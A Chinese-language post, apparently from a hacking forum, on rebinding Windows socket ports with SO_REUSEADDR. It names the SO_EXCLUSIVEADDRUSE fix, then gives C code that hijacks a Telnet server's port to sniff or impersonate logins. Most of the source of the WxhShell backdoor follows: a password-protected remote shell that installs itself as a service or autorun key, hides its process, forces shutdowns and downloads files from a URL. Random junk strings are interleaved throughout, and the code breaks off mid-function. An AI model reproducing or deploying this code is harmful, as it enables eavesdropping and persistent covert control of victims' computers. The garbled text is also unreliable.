在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
RYR-K^;R s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
JgfVRqm
S33j?+Vs saddr.sin_family = AF_INET;
3{7T4p.G oF:v
JDSS saddr.sin_addr.s_addr = htonl(INADDR_ANY);
/pH(WHT+/H :z"!kzdJ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
YV'pVO'_+ x hs#u 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
/YKMKtE MN8H;0g- 这意味着什么?意味着可以进行如下的攻击:
ii|?; 9.OA, 6 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
sH#X0fG |CD"*[j] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
$K}DB N; 4 n.6T
OF 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
'xK.UI kyYLP"oB= 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
2?7(A s}5+3f$f 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
K >tf, !kuX,*}q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
(GKpA}~R :%rS
=f 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
w`HI]{hE~N R=)55qu #include
</zXA$m #include
<O~WB #include
,I.WX,OR #include
X$?3U! DWORD WINAPI ClientThread(LPVOID lpParam);
W#w.h33)#6 int main()
r4}*l7Q {
`{K_/Cit WORD wVersionRequested;
rVSZ.+n
DWORD ret;
cDEJk?3+ WSADATA wsaData;
G 7LIdn= BOOL val;
vG.9H_& SOCKADDR_IN saddr;
u eb-2[= SOCKADDR_IN scaddr;
E)N<lh int err;
"j<bA8$Vw SOCKET s;
_s.;eHp, SOCKET sc;
1eS_
nLFw~ int caddsize;
T)~9Wac HANDLE mt;
QfjN"25_ DWORD tid;
El2e~l9 wVersionRequested = MAKEWORD( 2, 2 );
T?
,P*l err = WSAStartup( wVersionRequested, &wsaData );
myFAKRc if ( err != 0 ) {
h11.'Eej` printf("error!WSAStartup failed!\n");
{MdLX.ycc) return -1;
^]C&tG0 ! }
csZc|kDI saddr.sin_family = AF_INET;
xG2F!WeF 9nSWE W //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
T(?HMyg3 W;6vpPhg#! saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
(7FW9X; saddr.sin_port = htons(23);
RIn9(r if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
2;3f=$3 {
Y4.Eq+$gh printf("error!socket failed!\n");
0u
B'g+MU` return -1;
O\KQl0*l\\ }
2.e
vx val = TRUE;
XM1`x //SO_REUSEADDR选项就是可以实现端口重绑定的
fnKY1y]2+ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
F/d7q%I {
|Hr:S":9 printf("error!setsockopt failed!\n");
bvBHYf:^ return -1;
K4Dp:2/K% }
`lDut1J5n //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
u6u=2 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
MxQ?Sb%Gka //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
V%0I%\0Y G_H?f\/ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
-f1k0QwL {
T'-FV ret=GetLastError();
vl Ez9/H printf("error!bind failed!\n");
P,S
G.EFK return -1;
d5 Edu44 }
K0+.q?8D| listen(s,2);
t>)45<PEw while(1)
lq:}0 <k {
[Qt?W gPj caddsize = sizeof(scaddr);
/c2'dJ(H //接受连接请求
|C%Pjl^YkV sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
YZ$ZcfXDW if(sc!=INVALID_SOCKET)
rZPT89M6 {
DaH Z{T8>d mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
-D^A:}$ if(mt==NULL)
3-Dt[0%{ {
69y;`15 printf("Thread Creat Failed!\n");
V! |qYM. break;
%#L]]-% }
gd/H``x|Y }
<N,)G
|& CloseHandle(mt);
X@)z80 }
RF!a// closesocket(s);
~rr 4ok WSACleanup();
= VLS/\A return 0;
q@5K6yE }
2f`nMW DWORD WINAPI ClientThread(LPVOID lpParam)
]j~"mFAP
{
h_d +$W5 SOCKET ss = (SOCKET)lpParam;
22P$ ~ch SOCKET sc;
{yU+)t(. unsigned char buf[4096];
spofLu. SOCKADDR_IN saddr;
;!<
Znw long num;
qH,l#I\CG DWORD val;
h0Z{,s} DWORD ret;
6&Juv //如果是隐藏端口应用的话,可以在此处加一些判断
@XD+' {] //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
+z9@:L saddr.sin_family = AF_INET;
U!%!m' saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
%Pqk63QF saddr.sin_port = htons(23);
s#Jh -+lM if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
w6dFb6~R {
-F"QEL# printf("error!socket failed!\n");
;;$# )b return -1;
/y7M lU9 }
Z}A%=Z\/3 val = 100;
kPBV6+d~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
p,pR!qC> {
)? M9|u ret = GetLastError();
g[>\4B9t return -1;
[OTJV pC }
_sE#)@p if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
O|A_PyW {
kc'pN&]r: ret = GetLastError();
l&VjUPz_ return -1;
x6afI<dm }
'$As<LOEd/ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
;g_>
;tR/ {
1pv}]&X printf("error!socket connect failed!\n");
%u^JpC{E closesocket(sc);
Uq_j\A;c closesocket(ss);
R8L_J6Kpa return -1;
;?}l }
o[ENp'r while(1)
!}\4utHY {
\7MHaQvS //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
=ItkFjhBc //如果是嗅探内容的话,可以再此处进行内容分析和记录
._wkj //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
9%ii '{ num = recv(ss,buf,4096,0);
>StO.Q99 if(num>0)
+(O~]Q-Ez send(sc,buf,num,0);
3QSZ ZJ else if(num==0)
rV({4cIe9R break;
6qe*@o num = recv(sc,buf,4096,0);
e}@)z3Q<l if(num>0)
IC{eE send(ss,buf,num,0);
O9'x-A% else if(num==0)
IvpcSam' break;
p5O",3,A4 }
h=kQ$`j6 closesocket(ss);
t:JI!DR closesocket(sc);
[U#72+K return 0 ;
M L7\BT }
`G1&Z]z 04J}UE]Ww sC00un% ==========================================================
O=) >vrxP8_
下边附上一个代码,,WXhSHELL
*'"T$ib ]fnnZ ==========================================================
G>YAJo a"/#+=[ #include "stdafx.h"
d|Gl`BG
UgB'[@McS #include <stdio.h>
C=uZ1xg*, #include <string.h>
PqNFyQkl #include <windows.h>
+,:^5{9{ #include <winsock2.h>
+ SZYg[ #include <winsvc.h>
#jpoHvth #include <urlmon.h>
6b8;}],| V&soN:HS #pragma comment (lib, "Ws2_32.lib")
TGuiNobD #pragma comment (lib, "urlmon.lib")
t3Z_Dp~\ nI*/Mhx #define MAX_USER 100 // 最大客户端连接数
Ub0/r$]DK #define BUF_SOCK 200 // sock buffer
c4e_6=Iv #define KEY_BUFF 255 // 输入 buffer
^^i6|l1 O 2{)WWOT #define REBOOT 0 // 重启
W$JebW<z( #define SHUTDOWN 1 // 关机
kE.x+2 l5Y/Ok0, #define DEF_PORT 5000 // 监听端口
0s#vwK13 ?#0snlah| #define REG_LEN 16 // 注册表键长度
G{aT2c #define SVC_LEN 80 // NT服务名长度
?EMK8; 2:}fe} // 从dll定义API
k>}g\a, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
gB\T[RV typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
NRnRMY- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
rdJm{< typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
sDqe(x}a %zC[KE*~ // wxhshell配置信息
"SN4* struct WSCFG {
4vK8kkW1 int ws_port; // 监听端口
0,*%vG?Q char ws_passstr[REG_LEN]; // 口令
BE&B}LfvfO int ws_autoins; // 安装标记, 1=yes 0=no
3`hUo5K char ws_regname[REG_LEN]; // 注册表键名
ezhDcI_T char ws_svcname[REG_LEN]; // 服务名
u^I(Ny char ws_svcdisp[SVC_LEN]; // 服务显示名
C8@TZ[w char ws_svcdesc[SVC_LEN]; // 服务描述信息
QVZD/shq char ws_passmsg[SVC_LEN]; // 密码输入提示信息
{-9jm%N int ws_downexe; // 下载执行标记, 1=yes 0=no
D/(L char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
4!$
M q;U char ws_filenam[SVC_LEN]; // 下载后保存的文件名
W-RqN!snJ8 ?&WYjTU]H };
:Ud[f`t t{! // default Wxhshell configuration
jD){I struct WSCFG wscfg={DEF_PORT,
fkfZ>D^1 "xuhuanlingzhe",
y<W8Q<9 1,
nGZX7Fx5 "Wxhshell",
< V\Y@Ei+ "Wxhshell",
tc_f;S`k "WxhShell Service",
N;F)jO
xsl "Wrsky Windows CmdShell Service",
,O=a*%0rt "Please Input Your Password: ",
Y izE5[* 1,
sK$wN4k "
http://www.wrsky.com/wxhshell.exe",
RnVtZ#SCh "Wxhshell.exe"
C`oa3B,z };
Q^}%c
U0 -9P2`XQ^ // 消息定义模块
@$Qof1j'% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
u]C`6)> char *msg_ws_prompt="\n\r? for help\n\r#>";
'/0#lF char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Qz<d~N char *msg_ws_ext="\n\rExit.";
KYJ1}5n char *msg_ws_end="\n\rQuit.";
z^*
'@ char *msg_ws_boot="\n\rReboot...";
${~|+zdB char *msg_ws_poff="\n\rShutdown...";
J}spiVM char *msg_ws_down="\n\rSave to ";
NQTnhiM7$ |wxGpBau char *msg_ws_err="\n\rErr!";
@b&84Gn2
r char *msg_ws_ok="\n\rOK!";
*#>F.#9 'iSAAwT2aj char ExeFile[MAX_PATH];
6,Hqb<( int nUser = 0;
}pNX@C#De HANDLE handles[MAX_USER];
@}F Awv^f int OsIsNt;
wn+FTqj XY7Qa!>7j SERVICE_STATUS serviceStatus;
z,;;=V6j SERVICE_STATUS_HANDLE hServiceStatusHandle;
/%x7+Rl\-^ KM?1/KZ/~ // 函数声明
@
$cUNvI int Install(void);
l'4AF|
p int Uninstall(void);
db=$zIB[: int DownloadFile(char *sURL, SOCKET wsh);
_68BP)nz>. int Boot(int flag);
Zp`T void HideProc(void);
:bM+&EP int GetOsVer(void);
Z%o7f6P0IX int Wxhshell(SOCKET wsl);
={(j`VSUX0 void TalkWithClient(void *cs);
I\P Bu$Ww int CmdShell(SOCKET sock);
@B1{r|-<^ int StartFromService(void);
W+>wu%[L int StartWxhshell(LPSTR lpCmdLine);
j28 _HhT bPD)D'Hs VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
c|p,/L09L VOID WINAPI NTServiceHandler( DWORD fdwControl );
I d8wS!W`7 T(X:Yw // 数据结构和表定义
y+mElG$F SERVICE_TABLE_ENTRY DispatchTable[] =
dT@UK^\ {
Qez SJ
io {wscfg.ws_svcname, NTServiceMain},
|g)FA_#|< {NULL, NULL}
<)m%*9{ };
"Tbnxx]J X33v:9= // 自我安装
a_T,t'6 int Install(void)
_j#SpL'P {
iSp char svExeFile[MAX_PATH];
\^532 FIw6 HKEY key;
y>o>WN<q strcpy(svExeFile,ExeFile);
eMMx8E)B W^g'}}]T // 如果是win9x系统,修改注册表设为自启动
*_hLD5K! if(!OsIsNt) {
9w^zY;Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/lD?VE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
W|c.l{A5Q RegCloseKey(key);
<+E%E4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*K!++k!Ixa RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
~uaP$*B[ RegCloseKey(key);
\P?ToTTV return 0;
hb^!LtF#Y }
<)#kq1b? }
Cw1(5 }
$C_M&O} else {
Y(i?M~3\t rg&+ // 如果是NT以上系统,安装为系统服务
\2DE==M)P SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
g'lT if (schSCManager!=0)
`.BR=['O {
Q_P5MLU> SC_HANDLE schService = CreateService
=Sxol>?t (
%xg"Q| schSCManager,
w=J4zkWk wscfg.ws_svcname,
2w1tK wscfg.ws_svcdisp,
[%8@DC' SERVICE_ALL_ACCESS,
I6dm@{/:> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
bEpMaBN SERVICE_AUTO_START,
%?tq;~|]Q SERVICE_ERROR_NORMAL,
aWvd`qA9r svExeFile,
Eb@MfL NULL,
(([I]q NULL,
1r4,XSk NULL,
9YC&&0 C@ NULL,
rihlae5Kz NULL
olty4kGD$V );
nR'#s%Kj if (schService!=0)
,IjdO(?TC {
v]bAWo CloseServiceHandle(schService);
FMS2.E CloseServiceHandle(schSCManager);
*T4ge|zUc strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
h~ha strcat(svExeFile,wscfg.ws_svcname);
<-)9>c:k if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Ak=UtDN[ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
;nk@XFJ RegCloseKey(key);
,L%p return 0;
79tJV }
E~He~wHWe }
M {x ie CloseServiceHandle(schSCManager);
6FjVmje }
,OB&nN t> }
>eo8 Ekf2NT return 1;
3wNN<R }
qJMp1DC b\L)m ( // 自我卸载
`@$YlFOW int Uninstall(void)
M(S{1|,V {
7SHo%bA HKEY key;
:yD@5) 8|<f8Z65! if(!OsIsNt) {
7ukDS] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
rqC1 RegDeleteValue(key,wscfg.ws_regname);
@7|)RSBQz RegCloseKey(key);
g
=\13#F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
X,53c$ RegDeleteValue(key,wscfg.ws_regname);
YPQCOG RegCloseKey(key);
?M<|r11} return 0;
4`0;^K. }
f[M"EMy }
3mA/Nu_ }
)fR1n}# else {
bVOO) zf")|9j SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
YD+QX@ if (schSCManager!=0)
"b;k.Fx {
(QhAGk&lu SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
|Kn^w4mN if (schService!=0)
EM~7#Y {
A>y#}^l] if(DeleteService(schService)!=0) {
@f'AWeJ2 CloseServiceHandle(schService);
OAyE/Q| CloseServiceHandle(schSCManager);
&`5 :GLV return 0;
7x:F!0:
}
?/L1tX) CloseServiceHandle(schService);
b6$4Ul-. }
&:,fb]p CloseServiceHandle(schSCManager);
'|+=B u }
_4S7wOq5 }
L/%xbm~ $q=hcu return 1;
|W/Hi^YE2 }
XAGiu;<,= <#!8?o&i // 从指定url下载文件
akY6D]M int DownloadFile(char *sURL, SOCKET wsh)
fY2l.H\f {
_c,&\ wl$ HRESULT hr;
EID(M.G char seps[]= "/";
OQ
0b$qw char *token;
QTJrJD char *file;
p@`4 Qz char myURL[MAX_PATH];
DwQp$l'NfW char myFILE[MAX_PATH];
$jDD0<F.# csm?oU niz strcpy(myURL,sURL);
7YSuB9{M token=strtok(myURL,seps);
M |aQ)ivh3 while(token!=NULL)
96k(XLR {
zh?xIpY file=token;
I\)N\move token=strtok(NULL,seps);
9 ?[4i' }
i$2MjFC- "otr+.{`* GetCurrentDirectory(MAX_PATH,myFILE);
aj+zmk~- strcat(myFILE, "\\");
UeC 81*XZ strcat(myFILE, file);
!k ;[^> send(wsh,myFILE,strlen(myFILE),0);
6NP`P j R send(wsh,"...",3,0);
vsxvHot= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
:Fq2x_IUE if(hr==S_OK)
UX+?0 K return 0;
hlt9x.e.A else
BD<rQ mfA^ return 1;
UEk|8yq |2tSUOZ }
&4a~6 *s
1D\/H // 系统电源模块
w?*'vF_2:# int Boot(int flag)
"`H=AX0 {
4"`=hu Q HANDLE hToken;
K7YT0cG TOKEN_PRIVILEGES tkp;
@D( KuF %l0_PhAB if(OsIsNt) {
bUpmU/RW OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
!^rITiy LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ZC>`ca tkp.PrivilegeCount = 1;
.oW~:mY tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
89?3,k AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
h/fb<jIP1 if(flag==REBOOT) {
_S[Rvb1e if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
$NH`Iu9t return 0;
[0(
E>vm }
([z<TS#Md else {
lUy*549, if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
7cJO)cm0' return 0;
Rq~
>h99M }
VhJyWH%( }
woC
FN1W else {
aH~x7N6! if(flag==REBOOT) {
e\+~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
E#WjoIk return 0;
3(XHF3q }
t/EMBfLc else {
mUe@Dud if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
%m0L!|E return 0;
3/#R9J# }
QZz{74]n }
D:S6Mu iLI.e rm return 1;
D| 8sjp4 }
`i_L?C7 9, sCJ5bb" // win9x进程隐藏模块
_tWfb}6;Zb void HideProc(void)
2*3B~" {
hc31+TL LmT[N@>" HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
._F6- pl if ( hKernel != NULL )
4N0W& Dy {
a v|6r# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
hIg, 0B ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
&d &oP
FreeLibrary(hKernel);
>(1_Dn\ }
e
P,XH{s Q'%5"&XFD return;
(tz_D7c$F }
+h9l%Pz 3
MI ) E // 获取操作系统版本
WEY97_@ int GetOsVer(void)
`mHOgS>| {
el*pYI OSVERSIONINFO winfo;
0;m$a= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
"gl:4|i' GetVersionEx(&winfo);
ky
lr f4= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
JQVw6*u{ return 1;
+H m+#o else
ZE3ysLkm return 0;
(w@MlMk }
$'mB 8 S "3>*i!i // 客户端句柄模块
O%Gsk'mo int Wxhshell(SOCKET wsl)
CFS3);'<| {
O%q;,w{prW SOCKET wsh;
>cr_^(UW& struct sockaddr_in client;
? 3E_KGI DWORD myID;
SpTORR8 2ZzD^:V[} while(nUser<MAX_USER)
Cx3m\
\c {
lVp~oZC6[ int nSize=sizeof(client);
la"A$Tbu~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
FsPDWy&x if(wsh==INVALID_SOCKET) return 1;
{ALBmSapK" ;h(;( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Hpo?|;3D5 if(handles[nUser]==0)
BQJ`vIa closesocket(wsh);
3K20f8g else
my #u^O; nUser++;
SAo\H }
`J7Lecgo WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
BnnUUaE !7a^8
return 0;
j'Q-*-3 }
R&|)y:bg| s2v#evI`+ // 关闭 socket
2Q'XB void CloseIt(SOCKET wsh)
IWR q:Gw {
eYX_V6c closesocket(wsh);
JE:n`l/p nUser--;
Jc#)T;#6 ExitThread(0);
Zow^bzy4 }
41Q ![D,8]GD // 客户端请求句柄
4bJ2<j void TalkWithClient(void *cs)
jl0Eg {
{F9Qy0.*u =O:ek#Bp SOCKET wsh=(SOCKET)cs;
o/[yA3^ char pwd[SVC_LEN];
D.CsnfJ char cmd[KEY_BUFF];
'e)ze^Jq char chr[1];
C`T5d int i,j;
V7'x?
pt }(%}"%$ while (nUser < MAX_USER) {
h
_7;UQH VGUDUM.8 if(wscfg.ws_passstr) {
\V-
Y,!~5 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
MdboWE5i //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
l
)V43 //ZeroMemory(pwd,KEY_BUFF);
/ZN5WK i=0;
l'lDzB+.* while(i<SVC_LEN) {
SR8Kzk{ Ri6 br // 设置超时
<WKz,jh fd_set FdRead;
5%aKlx9^# struct timeval TimeOut;
; Kb[UZ1 FD_ZERO(&FdRead);
LuQ
M$/i FD_SET(wsh,&FdRead);
xdU
pp~}+. TimeOut.tv_sec=8;
w8#>xV^~ TimeOut.tv_usec=0;
SK}g(X7IWH int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
RIqxM if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
x[@3;_'K 0bL=l0N$W if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
sW3D
(
n pwd
=chr[0]; [Et\~'2w8=
if(chr[0]==0xd || chr[0]==0xa) {
%!h+
pwd=0; r_Yl/WW
break; WWD@rn sVf
} 6}lEeMRW
i++; yf^gU*
} H0NyxG<
\~j(ui|
// 如果是非法用户,关闭 socket R:m=HS_
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3evfX[V#
} ,lYU#Hx*
%9)J-B
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zvC,([
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3o/a8
TmAb!
Y|F
while(1) { 4\WkXwoqQO
U.h PC3
ZeroMemory(cmd,KEY_BUFF); ]-LE'Px|
CPM6T$_qE
// 自动支持客户端 telnet标准 boB{Y 7gO4
j=0; leJd){
while(j<KEY_BUFF) { F>R)~;Ja
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E?o8'r
cmd[j]=chr[0]; Fpwh.R:yV
if(chr[0]==0xa || chr[0]==0xd) { r:Cid*~m
cmd[j]=0; N|L5Ru
break; Gw,kC{:C
} (W/UR9x)|d
j++; ^P`'qfZ
}
&g>+tkC
_Hj,;Z
// 下载文件 8?pZZtad
if(strstr(cmd,"http://")) { ?+L6o C.;
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ..mz!:Zs0
if(DownloadFile(cmd,wsh)) 8[IifF1M=&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .1lc'gu5y
else }CqIKoX.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YHAg4eb8
} %z(=GcWm
else { Sd11ZC6
Xq^{P2\w1
switch(cmd[0]) { #+nv,?@
8#B;nyGD1I
// 帮助 Xxw.{2Ji!q
case '?': { +-V?3fQ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _
RT}Ee}Y
break; ~;Kl/Z
} ^[akB|#\9
// 安装 OPjh"Hv
case 'i': { wyM3|%RZ
if(Install()) b7mP~]V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ziF(xTvqG
else m!(K
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +N:%`9}2V
break; Mq$=zsj
} Y
[S^&pF
// 卸载 Pw{+7b$
case 'r': { 8^T$6A[b
if(Uninstall()) 5~QB.m,>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R?I3xb
else
7]bqs"t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); na)ceN2h
break; )cXc"aj@s
} $i
Tgv?.Q
// 显示 wxhshell 所在路径 HR
case 'p': { =Y0m;-1M
char svExeFile[MAX_PATH]; Mk;j"ZDF
strcpy(svExeFile,"\n\r"); i|Wn*~yFOO
strcat(svExeFile,ExeFile); ]B||S7idq
send(wsh,svExeFile,strlen(svExeFile),0); [Ma9
break; $4pW#4/4
} +0DIN4Y(4
// 重启 Ja1*a,],L
case 'b': { B%/Pn
2
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $'Z!Y;Ue
if(Boot(REBOOT)) ?hYe4tc-#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #S)*MT4ke
else { 6G],t)<A'-
closesocket(wsh); uPPe"$
ExitThread(0); LtBH4A
} 3ssio-X
break; +FR"Gt$g
} /^"TMm
// 关机 bMYRQ,K`C
case 'd': { I
uDk9<[b:
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [(mq8Nb
if(Boot(SHUTDOWN)) * ?K=;$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L~~aW0,
else { ` {p5SYj
closesocket(wsh); ;DTNw=
ExitThread(0); aum,bm/0J
} =zKp(_[D
break; Gmb57z&:
} RfD$@q9
// 获取shell s0u$DM2
case 's': { ~Y(M>u.+!
CmdShell(wsh); <~3 aaO
closesocket(wsh); =[,adB
ExitThread(0); ;S7xJ'H
break; )Jc>l;G(M
} E9i WGSE
// 退出 q%"nk
case 'x': { TJ<PT
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Am0$U eSZ
CloseIt(wsh); ^iTA40K
break; C{D2mSS
} 9fiZ5\
// 离开 xl3U
case 'q': { VXa]L4jJ9
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^$(|(N[;
closesocket(wsh); [|YMnV<B
WSACleanup(); #[8gH>7
exit(1); I'gnw~
break; 8P 8"dN[
} |lv4X}H
} 86Rit!ih
} /c7j@=0
~?p
> L
// 提示信息 o.Q9kk?L
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H`P )
} ;#
{x_>M
} .q=X58tHu
}yw\+fc
return; Bw$-*FYE
} ~ 0[K%]]
KQqlM
// shell模块句柄 ]:njP3r
int CmdShell(SOCKET sock) bY<" $);s
{ )sQbDA|p
STARTUPINFO si; ovl@[>OB
ZeroMemory(&si,sizeof(si)); #wo_
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 23>?3-q
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aH6pys!O
PROCESS_INFORMATION ProcessInfo; fVkl-<?x
char cmdline[]="cmd"; pxN'E;P-
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X>CYKRtb
return 0; OJ 2M_q)e
} {r"s.|n
u,C-U!A
// 自身启动模式 o]nQo?!
int StartFromService(void) PyoLk
{ 41.+3VP
typedef struct o
2DnkzpJ
{ q<1@ut
DWORD ExitStatus; H$;\TG@,
DWORD PebBaseAddress; 8dpVB#]pp,
DWORD AffinityMask; #<JrSl62(K
